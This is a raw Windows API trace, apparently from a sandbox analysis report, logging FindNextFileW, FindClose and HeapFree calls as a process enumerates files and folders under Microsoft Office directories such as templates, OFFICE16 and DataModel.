	[0172.752] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1
	[0172.753] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.753] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1
	[0172.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0172.754] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0172.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0172.755] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0
	[0172.755] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0172.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0172.755] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0
	[0172.755] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0172.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.755] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1
	[0172.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4175ba0 | out: hHeap=0x710000) returned 1
	[0172.757] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1
	[0172.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4175ba0 | out: hHeap=0x710000) returned 1
	[0172.758] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0
	[0172.758] FindClose (in: hFindFile=0x76eb28 | out: hFindFile=0x76eb28) returned 1
	[0172.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0172.758] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 1
	[0172.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0172.759] FindNextFileW (in: hFindFile=0x76f528, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1
	[0172.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0172.760] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1
	[0172.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0172.760] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0
	[0172.760] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0172.760] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.760] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1
	[0172.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.763] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0
	[0172.763] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0172.763] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4175ba0 | out: hHeap=0x710000) returned 1
	[0172.765] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1
	[0172.768] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.768] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1
	[0172.768] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4175ba0 | out: hHeap=0x710000) returned 1
	[0172.768] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0172.776] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.776] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="private", cAlternateFileName="")) returned 0
	[0172.776] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0172.776] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4175ba0 | out: hHeap=0x710000) returned 1
	[0172.776] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX64", cAlternateFileName="PROGRA~3")) returned 1
	[0172.776] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.776] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0172.778] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0172.778] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1
	[0172.778] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0172.778] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1
	[0172.778] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0172.778] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf086f11e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf086f11e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf086f11e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1
	[0172.779] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0172.779] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1
	[0172.779] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0172.779] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1
	[0172.780] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0172.780] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1
	[0172.781] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0172.782] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0172.783] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0172.783] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1
	[0172.783] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0172.783] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0173.015] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0173.015] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe172e9be, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22cad0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1
	[0173.229] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0173.230] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1
	[0173.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0173.353] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MI1312~1.DLL")) returned 1
	[0173.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0173.354] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0173.354] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0173.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0173.354] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0173.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.355] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0173.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.355] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26a58c7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77e88, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1
	[0173.357] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0173.357] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 0
	[0173.358] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0173.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
